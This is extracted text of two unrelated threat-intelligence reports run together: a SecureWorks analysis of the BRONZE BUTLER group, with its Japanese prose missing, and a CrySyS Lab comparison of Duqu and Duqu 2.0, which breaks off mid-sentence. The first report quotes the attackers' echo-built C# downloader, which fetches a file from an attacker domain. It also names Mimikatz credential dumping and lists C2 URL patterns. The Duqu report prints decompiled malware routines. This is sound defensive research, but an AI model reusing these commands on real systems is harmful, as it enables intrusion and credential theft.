BRONZE BUTLER 2.1  BRONZE BUTLER SecureWorks Counter Threat UnitCTU BRONZE BUTLER BRONZE BUTLER   2016  BRONZE BUTLER  - Security Response: Tick https://www.symantec.com/connect/nl/blogs/tick?page1 - CYBER GRID VIEW: https://www.lac.co.jp/lacwatch/report/20160802_000385.html SecureWorks  BRONZE BUTLER  2.2 BRONZE BUTLER BRONZE BUTLER    2.3 BRONZE BUTLER  SecureWorks    https://www.symantec.com/connect/nl/blogs/tick?page1 https://www.lac.co.jp/lacwatch/report/20160802_000385.html Page 3 3.
BRONZE BUTLER 3.1 3.2 3.3 3.4 3.5 3.6 Page 5 4.
BRONZE BUTLER 1 Source: SecureWorks 2015 Flash Player 2017 C:\Intel\Logspt.exe 172.16.xx.xx 52300 target ip :172.16.xx.xx target port :52300 connect success 2016/06/xx xx:xx:xx:244    ..    ExecMacroThread.cpp    399    1304:1500  2016/06/xx xx:xx:xx:384    ..    ExecMacroThread.cpp    487    1304:1500 AppC:\Program Files\Sky Product\SKYSEA Client View\tmp\00000001.BIN, PID6251 Page 7 4.3  RAT  RAT RAT  PowerShell VBS  VBE  HTTP  RAT RAT   50MB  100MB  RAT  50MB SecureWorks Const ForAppending  8 set objTextFile  fso.
OpenTextFile (s1, ForAppending, True) i1 do objTextFile.
WriteLine(000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000) ii1 if i524288 then exit do end if loop objTextFile.
Close RAT RAT Daserf o  URL RAT o 2015 http://www.skyseaclientview.net/news/161221/ http://www.skygroup.jp/security-info/170308.html Datper o  URL  RAT o  Daserf xxmm o  URL  RAT o DaserfDatper o  Minzen HTTP HTTP  1 RAT HTTP Daserf POST RC4 Daserf  GET POST RC4 Datper GET POST RC4 xxmm GET POST RC4  AES  Daserf  Datper URL xxmm AES RAT  Internet Explorer Internet Explorer SecureWorks   RAT Datper  xxmm  Page 9 2 RATSource: SecureWorks SecureWorks  xxmm BRONZE BUTLER  RAT 3 xxmmSource: SecureWorks 4.4 BRONZE BUTLER  Windows o net, ping, at, schtasks, systeminfo  o Mimikatz o WCE (Windows Credential Editor) o gsecdump  o o o T-SMB   o WinRAR Windows RAR  WinRAR   do.csdo.exe c:\PerfLogs\Adminecho using System.
Net do.cs c:\PerfLogs\Adminecho namespace downloader do.cs c:\PerfLogs\Adminecho  do.cs  echo     class Program do.cs  echo do.cs c:\PerfLogs\Adminecho         static void Main(string[] args) do.cs  echo do.cs  echo             WebClient client  new WebClient() do.cs c:\PerfLogs\Adminecho             string URLAddress  http://bulgaria-ecotour.c om/img/a0.gif do.cs c:\PerfLogs\Adminecho             string receivePath  C:\perflogs\admin\ do.cs c:\PerfLogs\Adminecho             client.
DownloadFile(URLAddress, receivePath  Sy stem.
IO.Path.
GetFileName do.cs  echo         (URLAddress)) do.cs  echo do.cs  echo      do.cs  echo  do.cs c:\PerfLogs\Admincd \ c:\dir csc.exe /s c:\cd c:\Windows\Microsoft.
NET\Framework\v3.5 c:\Windows\Microsoft.
NET\Framework\v3.5csc.exe /out:c:\perflogs\admin\do.exe c:\pe rflogs\admin\do.cs c:\Windows\Microsoft.
NET\Framework\v3.5cd c:\perflogs\admin\  do.exe TEMP DELL, HP, Intel BRONZE BUTLER  Mimikatz  WCEWindows Credential Editor   Mimikatz  Page 11 4  [by ]Source: SecureWorks Active Directory (KRBTGT) TGT   bgtras bgtrs kkir kisetr netkin orumls wert (KRBTGT) 2  BRONZE BUTLER ping  net   5  RAT [by ]Source: SecureWorks BRONZE BUTLER at  schtasks  1.
net use  copy 2.
net time 3.
at  schtasks 4.
RAT   6 zrun.bat [by ]Source: SecureWorks 7  [by ]Source: SecureWorks at  schtasks   C:\Users\user01\AppData\Local\Temp\msupdat move 2016xxxx.exe \\192.168.0.1\d\ \.exe 1 4.5 BRONZE BUTLER   1.
2.
RAT Page 13  RAT RAR  r.dat x qscr.rar RAR 3.70   Copyright (c) 1993-2007 Alexander Roshal   22 May 2007 Shareware version         Type RAR -?
for help Extracting from qscr.rar Extracting  20160712-ssd.txt () r.dat a -v500K -hp1qazxsw2 ta 20160712-ssd.txt RAR 3.70   Copyright (c) 1993-2007 Alexander Roshal   22 May 2007 Shareware version         Type RAR -?
for help () r.dat WinRAR  /   a RAR -v  500k -hp  1qazxsw2 ta 20160712-ssd.txt SecureWorks  BRONZE BUTLER  1234qwer 1234qwer 1234qwer 1qazxsw2 1qazxcde32ws RAR BRONZE BUTLER RAR  HTTP POST URL  RAR Datper  xxmm Datper  xxmm 2017  3  30  USB SecureWorks BRONZE BUTLER   https://www.npa.go.jp/cyberpolice/detect/pdf/20170330.pdf        4.6 BRONZE BUTLER RAR del   BRONZE BUTLER https://www.npa.go.jp/cyberpolice/detect/pdf/20170330.pdf Page 15 5.
BRONZE BUTLER   BRONZE BUTLER     5.1  JPCERT    SecureWorks  CSIRTComputer Security Incident Response Team /  www.nca.gr.jp  CSIRT JPCERT         SecureWorks          BRONZE BUTLER HTTP Windows  Windows SecureWorks    o  o  GET  o Squid  GET  o  o  o DHCP  IP  Page 17 Windows o o o NTLM Kerberos  Microsoft  Sysmon BRONZE BUTLER Sysmon Windows Sysmon Sysmon https://technet.microsoft.com/en-us/sysinternals/sysmon.aspx BRONZE BUTLER  Appendix A: URL  User Agent BRONZE BUTLER SKYSEA Client View Active Directory  BRONZE BUTLER E  E  Windows BRONZE BUTLER  SecureWorks E  AETD Red Cloakhttps://www.secureworks.jp/capabilities/managed-security/endpoint- security/red-cloak AMPDhttps://www.secureworks.jp/capabilities/managed-security/network- security/advanced-malware-protection https://technet.microsoft.com/en-us/sysinternals/sysmon.aspx https://www.secureworks.jp/capabilities/managed-security/endpoint-security/red-cloak https://www.secureworks.jp/capabilities/managed-security/endpoint-security/red-cloak https://www.secureworks.jp/capabilities/managed-security/network-security/advanced-malware-protection https://www.secureworks.jp/capabilities/managed-security/network-security/advanced-malware-protection net  pingschtasks  Windows  Windows   Windows (2015-12-02) https://www.jpcert.or.jp/magazine/acreport-wincommand.html BRONZE BUTLER      Active Directory BRONZE BUTLER Active Directory  2017  3  14  JPCERT  Active Directory Active Directory Active Directory http://www.jpcert.or.jp/research/AD.html          https://www.jpcert.or.jp/magazine/acreport-wincommand.html http://www.jpcert.or.jp/research/AD.html Page 19 SKYSEA Client View SKYSEA  IP  SKYSEA Client View RDP Windows Firewall IP NAPT 5.2   5.1   JPCERT C2 C2  Daserf  Datperxxmm  BRONZE BUTLER Active Directory       SecureWorks    https://www.secureworks.jp/capabilities/incident-response/incident- management/targeted-threat-hunting  Daserf  Datperxxmm  Kerberos 2 JPCERT  Active Directory   krbtgt 2   Silver   Active Directory http://www.jpcert.or.jp/research/AD.html BRONZE BUTLER BRONZE BUTLER     https://www.secureworks.jp/capabilities/incident-response/incident-management/targeted-threat-hunting https://www.secureworks.jp/capabilities/incident-response/incident-management/targeted-threat-hunting http://www.jpcert.or.jp/research/AD.html Page 21 6.
BRONZE BUTLER            Appendix A: BRONZE BUTLER  JPCERT   BRONZE BUTLER  HTTP URL SecureWorks Appendix URL Gofarer http://.php Mozilla/4.0(compatibleMSIE 8.0WindowsNT 6.1Trident/4.0SLCC2.NET CLR2.0.50727 .NET4.0E) Daserf http://.gif  http://.asp http://.php?id8  16 4 Base64 Mozilla/4.0 (compatible MSIE 8.
0 Windows NT 6.0 SV1) o IE Datper  http://.php?16  16 1  http://.php?16  16 2 Base64 xxmm http://.php?t08  16 t1t 28  16 t3t6 http://.php?id08  16 id1 id28  16 id3id6 http://.php?idcard08  16 idcard1 idcard28  16 idcard3idcard6  http://.php?item08  16 item1 item28  16 item3item6 http://.php?ps08  16 ps1 ps28  16 ps3ps6 http://.php?h8  16 ow 8  16 ay http:///id0/8  16 /id1//id2/ 8  16 /id3//id6// Mozilla/4.0 (compatible MSIE 8.
0 Windows NT 6.0 SV1)  http://l/logo-unix.php Page 23 BRONZE BUTLER  HTTP URL SecureWorks Appendix BRONZE BUTLER  dat C:\Intel\IntelUpdata.exe C:\Intel\Logs\hlog.exe C:\Intel\Logs\IntelLogSrv.exe C:\Intel\ExtremeGraphics\CUI\a.dat C:\PerfLogs\Admin\PerfLogs.exe C:\Program Files\Adobe\Reader 11.0\Reader\adobe.exe C:\Program Files\Adobe\Reader 9.0\Reader\Readersl.exe C:\Program Files\Common Files\Java\Java Update\jusctray.exe C:\Program Files\Common Files\Justsystem\JustOnlineUpdate\JustsystemUpdate.exe C:\Program Files\Common Files\Microsoft Shared\TRANSLAT\MSBlESAD.VBE C:\Program Files\CONEXANT\SAII\urllog.vbe C:\Program Files\Internet Explorer\jsExport.exe C:\Program Files\Internet Explorer\ieupset.exe C:\Program Files\NVIDIA Corporation\nview\nvwrsc.exe C:\Program Files\Windows NT\logonslmon.exe C:\Program Files\Windows NT\usermd.exe C:\Windows\system32\AdoRdUPD.exe C:\Windows\system32\hwcomp.exe C:\Windows\system32\javamon.exe C:\Windows\system32\precui.exe C:\Windows\system32\reader.exe C:\Windows\system32\UACExec.exe TEMP\MMoevde.exe TEMP\ms8  16 .exe TEMP\msensi\ TEMP\plug\AvUpdate.exe \msdtci.exe C:\Windows\system32\  SKYSEA Client View  00000001.BIN BRONZE BUTLER  SKYSEA CtlCli.log 2016/06/xx xx:xx:xx:244    ..    ExecMacroThread.cpp    399    1304:1500  2016/06/xx xx:xx:xx:384    ..    ExecMacroThread.cpp    487    1304:1500     AppC:\Pro gram Files\Sky Product\SKYSEA Client View\tmp\00000001.BIN, PID6251 Sysmon  BRONZE BUTLER  At.job  C:\Windows\system32\.bat.exe Daserf/  HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Curren tVersion\Explorer MMID   16 BRONZE BUTLER VBE  HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Technical Report by CrySyS Lab http://www.crysys.hu/ Duqu 2.0: A comparison to Duqu v1.0 (10/Jun/2015) Budapest, 2015 Authors: Boldizsr Bencsth, Gbor cs-Kurucz, Gbor Molnr, Gbor Vaspri, Levente Buttyn, Roland Kamars Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  2 Findings in brief In October 2011, we analyzed a new threat what we named Duqu, and we showed that it has close relationships to the infamous Stuxnet attack.
By courtesy of Kaspersky Lab, in late May 2015 we received samples about a new threat, with the hint that it might be related to the Duqu attacks however, these new samples are from 2014.
We decided to carry out an individual research on the samples with the focus on the connections between the original Duqu attack and the new threat, dubbed Duqu 2.0.
After analyzing the samples received, we think, that the adversaries behind Duqu malware are back and active while they modified their tools to be undetected by old methods, they also strongly reused codes and ideas during their recent attacks.
The numerous similarities that we discovered between Duqu and Duqu 2.0 include the following: Similar string decryption routines related to Anti-Virus product strings Similar methods, magic number, bug and file format related to files encrypted with AES by both threats Same non-standard CBC mode AES encryption used by both threats Extremely similar logging module with exactly the same magic numbers Similar C-like coding and compiling style In this report, we present supporting details and analysis for all the similarities listed above.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  3 Table of contents 1.
Introduction ........................................................................................................................... 4 1.1.
Hashes of the analyzed samples .................................................................................... 6 2.
Similarities and differences ................................................................................................... 7 2.1.
General details ............................................................................................................... 7 2.2.
String decryption ............................................................................................................ 9 2.3.
AES encryption of the configuration file ...................................................................... 14 2.4.
Format of the (encrypted) configuration file ............................................................... 24 2.5.
Logging functions ......................................................................................................... 26 2.6.
Command  Control communication .......................................................................... 29 2.7.
DLL imports .................................................................................................................. 33 3.
Indicators of Compromise ................................................................................................... 34 3.1.
Detection based on communications .......................................................................... 34 3.2.
Yara rules to identify .................................................................................................... 36 4.
Conclusion ........................................................................................................................... 37 5.
References ........................................................................................................................... 37 6.
Contact Information ............................................................................................................ 39 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  4 1.
Introduction Stuxnet is probably the most well-known malware of our times.
Its fame stems from the facts that it targeted a very specific industrial facility, namely a uranium enrichment plant in Iran, it aimed at physical destruction of uranium centrifuges, and it apparently accomplished its mission successfully.
In addition to all these characteristics, IT security experts also appreciate its technical sophistication and the zero-day exploits that it used.
Stuxnet was also an alarm to the developed world: it shed light on the capabilities of advanced attackers, and at the same time, on the numerous weaknesses of our computing infrastructure.
Putting these two together, people started to feel hopelessly vulnerable.
Yet, unfortunately, Stuxnet is not a unique example for a highly sophisticated targeted threat, but there are numerous other pieces of malware of similar kind, including Duqu, Flame, Regin, etc.
Among those, Duqu is particularly interesting, not only because we discovered it back in 2011, but because our analysis pointed out that - while Duqus objective is different - it has very strong similarities to Stuxnet in terms of architecture, code, and methods to achieve stealthiness.
Today, it is widely believed within the IT security community that Duqu was created by the same attackers who created Stuxnet.
And now we have a new member of the same family Last month, we received interesting samples from Kaspersky Lab with a hint that they might be related to the Duqu samples of 2011 however, these new samples are from 2014.
Our common understanding was that it would be interesting to figure out whether this new threat is indeed related to the old Duqu attack, and we in the CrySyS Lab should try to focus our analysis efforts on answering this question.
It is important to emphasize that we did our analysis independently from Kaspersky Lab: we did not read their preliminary report and they did not share any of their findings with us (apart from the samples that we received from them).
The analysis results performed by Kaspersky Lab can be read in the following report: https://securelist.com/blog/research/70504/the-mystery-of-duqu- 2-0-a-sophisticated-cyberespionage-actor-returns/ Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  5 In this report, we present the results of our comparative analysis of the old version of Duqu and the new version, codenamed Duqu 2.0.
We concentrate on the description of the relevant similarities and differences we have found between the two malware samples.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  6 1.1.
Hashes of the analyzed samples In the table below, one can see the MD5 fingerprints of the two samples we have examined during our initial analysis: Sample hashes (MD5) Information c7c647a14cb1b8bc141b089775130834 main module 3f52ea949f2bd98f1e6ee4ea1320e80d main module Table 1  Hashes (MD5) of the samples we have analyzed The first module will be referenced in this document with the name c7c647, and the second with the name 3f52ea according to the prefix of their MD5 hashes.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  7 2.
Similarities and differences In the following chapter, we will discuss the most conspicuous similarities and differences we have found between the main modules of Duqu and Duqu 2.0.
2.1.
General details Both the two main modules of Duqu 2.0 we have analyzed (c7c647 and 3f52ea) has 6 export functions which can be seen in the following figure: Figure 1  Structure of the first sample (3f52ea)  6 export functions Figure 2  Structure of the second sample (c7c647)  6 export functions Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  8 The new sample (both versions) is one big executable file that is linked by multiple modules.
The original Duqu had a main module that was divided into two sub-modules: an outside layer and an internal part.
In one version, the internal part was stored in a specific compressed format, while in another version, which we investigated at a Duqu victim, it was stored in cleartext in a resource data section of the main executable.
The Duqu 2.0 version we investigated is different: everything is incorporated in the main executable, but there are still visible marks showing that the malware is linked/compiled from multiple different parts, modules.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  9 2.2.
String decryption Some of the strings in Duqu 2.0 are obfuscated by XOR-based encryption.
The actual routine used is printed below: .text:10012F6D                 test    ecx, ecx .text:10012F6F                 jnz     short loc_10012F77 .text:10012F71                 xor     eax, eax .text:10012F73                 mov     [edx], ax .text:10012F76                 retn .text:10012F77  -------------------------------------------- .text:10012F77 .text:10012F77 loc_10012F77: .text:10012F77                 mov     eax, [ecx] .text:10012F79                 push    esi .text:10012F7A                 push    edi .text:10012F7B                 mov     edi, 86F186F1h .text:10012F80                 xor     esi, esi .text:10012F82                 xor     eax, edi .text:10012F84                 mov     [edx], eax .text:10012F86                 cmp     ax, si .text:10012F89                 jz      short loc_10012FA2 .text:10012F8B                 sub     ecx, edx .text:10012F8D .text:10012F8D loc_10012F8D: .text:10012F8D                 cmp     [edx2], si .text:10012F91                 jz      short loc_10012FA2 .text:10012F93                 add     edx, 4 .text:10012F96                 mov     eax, [ecxedx] .text:10012F99                 xor     eax, edi .text:10012F9B                 mov     [edx], eax .text:10012F9D                 cmp     ax, si .text:10012FA0                 jnz     short loc_10012F8D Sample 1  String decryption in Duqu 2.0 (assembly view) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  10 The decompiled version of the above assembly code can be seen in the following sample: unsigned int __fastcall xor_sub_10012F6D(int encrstr, int a2)  unsigned int result // eax2 int v3              // ecx4 if ( encrstr )  result  (_DWORD )encrstr  0x86F186F1 (_DWORD )a2  result if ( (_WORD)result )  v3  encrstr - a2 do  if ( (_WORD )(a2  2) ) break a2  4 result  (_DWORD )(v3  a2)  0x86F186F1 (_DWORD )a2  result  while ( (_WORD)result )   else  result  0 (_WORD )a2  0  return result  Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  11 Sample 2  String decryptor from Duqu 2.0 (2014) The above string decryptor routine is a simple XOR decoder.
It simply XORs consecutive 4-byte blocks of the encrypted string buffer, given by its pointer in the first parameter of the function, with a fixed 4-byte key (0x86F186F1).
After the decryption of all consecutive 4- byte blocks, the actual cleartext block is stored within the next 4 bytes of the output buffer, pointed by parameter a2.
The decrypted (cleartext) string is terminated with a \0 character, and if the decryptor cycle reaches the end of the (cleartext) string, the cleartext string will be pointed by the address stored in output argument a2.
A closer look at the above C code reveals that the string decryptor routine actually has two parameters: encrstr and a2.
First, the decryptor function checks if the input buffer (the pointer of the encrypted string) points to a valid memory area (i.e., it does not contain NULL value).
After that, the first 4 bytes of the encrypted string buffer is XORed with the key 0x86F186F1 and the result of the XOR operation is stored in variable result.
The first DWORD (first 4 bytes) of the output buffer a2 is then populated by this resulting value ((_DWORD )a2  result).
Therefore, the first 4 bytes of the output buffer will contain the first 4 bytes of the cleartext string.
If the first two bytes (first WORD) of the current value stored in variable result contain \0 characters, the original cleartext string was an empty string and the resulting output buffer will be populated by a zero value, stored on 2 bytes.
If the first half of the actual decrypted block (result variable) contains something else, the decryptor routine checks the second half of the block (if ( (_WORD )(a2  2) )).
If this WORD value is NULL, then decryption will be ended and the output buffer will contain only one Unicode character with two closing \0 bytes.
If the first decrypted block doenst contain zero character (generally this is the case), then the decryption cycle continues with the next 4-byte encrypted block.
The pointer of the output buffer is incremeted by 4 bytes to be able to store the next cleartext block (a2  4).
After that, the following 4-byte block of the ciphertext will be decrypted with the fixed decryption key (0x86F186F1).
The result is then stored within the next 4 bytes of the output buffer.
Now, the output buffer contains 2 blocks of the cleartext string.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  12 The condition of the cycle checks if the decryption reached its end by checking the first half of the current decrypted block.
If it did not reached the end, then the cycle continues with the decryption of the next input blocks, as described above.
Before the decryption of each 4-byte ciphertext block, the routine also checks the second half of the previous cleartext block to decide whether the decoded string is ended or not.
The original Duqu used a very similar string decryption routine, which we printed in the following figure below.
We can see that this routine is an exact copy of the previously discussed routine (variable a1 is analogous to encrstr argument).
The only difference between the Duqu 2.0  and Duqu string decryptor routines is that the XOR keys differ (in Duqu, the key is0xB31FB31F).
We can also see that the decompiled code of Duqu contains the decryptor routine in a more compact manner (within a for loop instead of a while), but the two routines are essentially the same.
For example, the two boundary checks in the Duqu 2.0 routine (if ( (_WORD )(a2  2) ) and while ( (_WORD)result )) are analogous to the boundary check at the end of the for loop in the Duqu routine (if ( (_WORD)v4 (_WORD )(result  2) )).
Similarly, the increment operation within the head of the for loop in the Duqu sample (result  4) is analogous to the increment operation a2  4 in the Duqu 2.0 sample.
int __cdecl b31f_decryptor_100020E7(int a1, int a2)  _DWORD v2      // edx1 int result      // eax2 unsigned int v4 // edi6 v2  (_DWORD )a1 if ( a1 )  for ( result  a2  result  4 )  v4  v2  0xB31FB31F (_DWORD )result  v4 Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  13 if ( (_WORD)v4  (_WORD )(result  2) ) break v2   else  result  0 (_WORD )a2  0  return result  Sample 3  String decryptor from original Duqu (from cmi4432.pnf file) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  14 2.3.
AES encryption of the configuration file The analyzed main module of Duqu 2.0 and also the old Duqu sample reads configuration information from a special file.
This configuration file is encrypted using the AES block cipher in CBC mode with a CTS-like (Ciphertext Stealing) encryption of the last two cleartext blocks.
The format of the configuration file will be discussed in details in the next chapter.
Before the encryption of the configuration file, an AES wrapper object is created.
This C object represents the context (parameters) of the encryption.
Therefore, it also stores the initialization vector (IV) of the encryption, the key of the cipher and the data to be encrypted.
The structure of this objects class can be seen in the upper part of the next screenshot: Figure 3  Attributes of the AES wrapper class and an AES object As we can see, the allocated memory area of an instance of the aeswrapper structure (class) starts with a 16 bytes (128 bits) IV value (of course, the size of the IV equals the size of an AES input block).
It is followed by a 516-byte buffer (or other unused smaller attributes) which can store the encryption key of the AES cipher.
Size of this encryption key can be either 128, 192 or 256 bits (16, 24 or 32 bytes).
The last 4 bytes of the aeswrapper structure contains the pointer to the data to be encrypted.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  15 In addition to the attributes (IV, encryption key, pointer to a data buffer), the aeswrapper class also contains methods.
The most important methods are the encrypt and initialize functions.
As the name shows, the initialize method initializes the context (parameters) of the encryption, therefore it sets the IV, key and data members of the aeswrapper object.
The IV is generated by hand, but the key is prepared from an initial key using the prepare_key function.
The encrypt method encrypts the data in the modified CBC-CTS- like mode.
The method uses an AES encryptor function.
The nth_block method of the class gives back a pointer to the n-th block of the data to be encrypted.
Finally, the aeswrapper class uses the last_block function to perform the CTS-like encryption mechanism at the end.
The function gives back a pointer not to the last partial (smaller than 16 bytes) input block, but to the last 16 bytes of the input data buffer.
The implementation of AES prepare_key and encrypt methods are presumably copied from function libraries.
The figure above shows the structures (structures of class instances) which we identified and which are related to the encryption routine and the AES initialization, and the putative attributes of these structures (classes).
Using these structures, the disassembled code can be more readable.
There is another structure in addition to the aeswrapper class called aes on the screenshot above.
An instance of this class represents an AES encryptor object.
It has probably 3 attributes: key_schedule, precomputed and iteration_count.
In the following table, we can see the AES initialization routine (of the configuration file encryption) of the old Duqu (on the left) and the new Duqu 2.0 sample (on the right) at assembly code level.
The decompiled code of the initialization function (for both malware samples) can be seen in figure Sample 6.
The AES initialization function initializes the mentioned aeswrapper object, it sets the data buffer, prepares the encryption key, and finally, generates the IV based on the magic constant.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  16 Duqu netp routine Duqu 2.0 c7c64 routine seg000:0002EE95 sub_2EE95       proc near                CODE XREF: sub_2D0A48Cp seg000:0002EE95                                          sub_2EE5036p seg000:0002EE95 seg000:0002EE95 var_20           byte ptr -20h seg000:0002EE95 seg000:0002EE95                 push    ebp seg000:0002EE96                 mov     ebp, esp seg000:0002EE98                 sub     esp, 20h seg000:0002EE9B                 push    esi seg000:0002EE9C                 push    edi seg000:0002EE9D                 mov     [ebx214h], eax seg000:0002EEA3                 push    8 seg000:0002EEA5                 pop     ecx seg000:0002EEA6                 lea     eax, [ebpvar_20] seg000:0002EEA9                 push    eax seg000:0002EEAA                 lea     eax, [ebx10h] seg000:0002EEAD                 mov     esi, 10034600h seg000:0002EEB2                 lea     edi, [ebpvar_20] seg000:0002EEB5                 push    eax seg000:0002EEB6                 rep movsd seg000:0002EEB8                 call    AES1_sub_2F9B1 seg000:0002EEBD                 pop     ecx seg000:0002EEBE                 pop     ecx seg000:0002EEBF                 pop     edi seg000:0002EEC0                 xor     eax, eax seg000:0002EEC2                 pop     esi seg000:0002EEC3 seg000:0002EEC3 loc_2EEC3:       CODE XREF: sub_2EE953Dj seg000:0002EEC3                 mov     ecx, eax seg000:0002EEC5                 xor     ecx, 0DEADBABEh seg000:0002EECB                 mov     [ebxeax4], ecx seg000:0002EECE                 inc     eax seg000:0002EECF                 cmp     eax, 4 seg000:0002EED2                 jb      short loc_2EEC3 seg000:0002EED4                 mov     eax, ebx seg000:0002EED6                 leave seg000:0002EED7                 retn seg000:0002EED7 sub_2EE95       endp .text:1001551D sub_1001551D    proc near                CODE XREF: sub_10007A2228p .text:1001551D                                          sub_10007CB7121p .text:1001551D .text:1001551D var_20           byte ptr -20h .text:1001551D arg_0            dword ptr  8 .text:1001551D arg_4            dword ptr  0Ch .text:1001551D .text:1001551D                 push    ebp .text:1001551E                 mov     ebp, esp .text:10015520                 mov     eax, [ebparg_0] .text:10015523                 lea     edx, [ebpvar_20] .text:10015526                 sub     esp, 20h .text:10015529                 push    ebx .text:1001552A                 push    esi .text:1001552B                 mov     esi, [ebparg_4] .text:1001552E                 mov     ebx, ecx .text:10015530                 push    edi .text:10015531                 push    8 .text:10015533                 pop     ecx .text:10015534                 mov     [ebx214h], eax .text:1001553A                 lea     edi, [ebpvar_20] .text:1001553D                 rep movsd .text:1001553F                 push    100h .text:10015544                 lea     ecx, [ebx10h] .text:10015547                 call    AES_1_sub_1001690A .text:1001554C                 pop     ecx .text:1001554D                 xor     ecx, ecx .text:1001554F .text:1001554F loc_1001554F:         CODE XREF: sub_1001551D40j .text:1001554F                 mov     eax, ecx .text:10015551                 xor     eax, 248561EFh   MAGIC .text:10015556                 mov     [ebxecx4], eax .text:10015559                 inc     ecx .text:1001555A                 cmp     ecx, 4 .text:1001555D                 jb      short loc_1001554F .text:1001555F                 pop     edi .text:10015560                 pop     esi .text:10015561                 mov     eax, ebx .text:10015563                 pop     ebx .text:10015564                 mov     esp, ebp .text:10015566                 pop     ebp .text:10015567                 retn    0Ch .text:10015567 sub_1001551D    endp Sample 4  IV generation routine comparison (assembly view)  magic constants Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  17 In both cases, the highlighted part of the assembly code corresponds to the highlighted part of the initialization routines in the decompiled versions of the code, which can be seen in figure Sample 6.
The only difference between the highlighted parts is the values of the magic constants (0xDEADBABE vs. 0x248561EF) which are used for the generation of the 128-bit initialization vectors.
The mentioned AES initialization routines (and also the common encryption function) will be discussed later in this section in more details.
We also reverse engineered the encryption routine used by Duqu 2.0, which is illustrated in the following block diagram: Figure 4  The applied config file encryption method used by the main module of Duqu 2.0 (and by the old Duqu sample) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  18 With the exception of the last two input blocks, consecutive blocks of the cleartext data are encrypted with the AES encryption algorithm in CBC mode.
Accordingly, the first block of the input data (P[0]) is XORed with a fixed initialization vector (named as Fixed IV in the figure above).
This 128-bit initialization vector (IV) differs between the old Duqu and the new Duqu 2.0 samples.
The value of this IV is generated from a magic constant, as it can be seen in the highlighted parts of the previous assembly code.
As this magic constant is different in the old and new samples, the generated IV will also be different.
The result of the previously mentioned XOR operation gives the first input block of the AES encryption algorithm (AES-256 is in use).
The number 256 means that the AES algorithm has 256-bit key size.
The block size of the AES cipher is constant 128 bits (16 bytes).
E[0] is the first output of the block cipher, so it will be the first encrypted block (F[0]).
Output of the block cipher (E[0]) is then XORed with the second input block (P[1]), and the resulting block will be encrypted with AES-256.
This procedure continues until the encryption of the last but first block of the cleartext data.
If the size of the input data is an integer multiple of the block size of AES (i.e., 128 bits), then the remaining last two blocks of the cleartext are encrypted in the same manner as the previous input blocks.
So, in this case, the whole encryption routine matches a simple CBC mode encryption.
However, if the size of the input data is not an exact multiple of the AES block size, the last partial block of the input data needs padding to be completed to a full block.
In case of Duqu 2.0, the developers of the malware didnt use padding in a traditional way.
Instead, they use a CTS-like (Ciphertext Stealing) method.
The essence of the method used by the encryption routine is that a part of the last but first block of the input data is encrypted twice using AES.
The last but first block (P[n-1]) of the cleartext data is XORed with the previous ciphertext block (E[n-2]) and encrypted with AES-256 as previously.
The result of this operation is the E[n-1] output block.
The E[n-1] output block wont be directly used as the (n-1)st ciphertext block.
Instead, the output E[n-1] is splitted into two distinct parts: F[n-1] and another part which is then fed into the AES encryptor again.
Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  19 The last cleartext partial block (P[n])  which has size less than 16 bytes  is completed from its beginning to get a full AES input block.
The data used for completing the last partial block is taken from the end of the previous AES output block (E[n-1]).
The resulting block will be fed into the AES-256 cipher in the last step of the encryption process.
The output of the last invocation of the AES cipher will be the last ciphertext block (F[n]).
The output of the last but first invocation of the AES encryptor (E[n-1]) is split into two parts, and the first part of size size_of_the_last_cleartext_block will be the (n-1)st ciphertext block (F[n- 1]).
The old Duqu samples used exactly the same encryption method.
The decompiled code of the AES encryptor of Duqu can be seen in the following sample, and one can see that this code implements the method we have just explained and illustrated in the block diagram of Figure 8.
void aeswrapper::encrypt(aeswrapper this)  unsigned __int8 cursor, first_block, prev_encrypted_block, current_block, last_block int i, j, offset_to_iv, offset_to_previous_block // First block cursor  aeswrapper::nth_block(this, 0) offset_to_iv  (char )this - (char )cursor i  16 do  cursor  cursor[offset_to_iv]    // Buffer overflow if data cursor                           // is under 16 bytes --i  while ( i ) first_block  aeswrapper::nth_block(this, 0) AES::encrypt(this-aes, first_block, first_block) // Other full blocks j  1 if ((this-data-vtable-length(this-data)  0xFFFFFFF0)  0x10) Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu  20  do  prev_encrypted_block  aeswrapper::nth_block(this, j - 1) cursor  aeswrapper::nth_block(this, j) offset_to_previous_block  prev_encrypted_block - cursor i  16 do  cursor  cursor[offset_to_previous_block] cursor --i  while ( i ) current_block  aeswrapper::nth_block(this, j) AES::encrypt(this-aes, current_block, current_block) j  while ( j  this-data-vtable-length(this-data)  4 )  // Last block if ( this-data-vtable-length(this-data)  0xF )  last_block  aeswrapper::last_block(this) AES::encrypt(this-aes, last_block, last_block) // Buffer underwrite // if data is under 16 // bytes   Sample 5  Main file encryption routine (same in the new and old sample) with implementation bugs highlighted (red comments) The next table compares the AES initialization routines of the old Duqu sample (upper part of 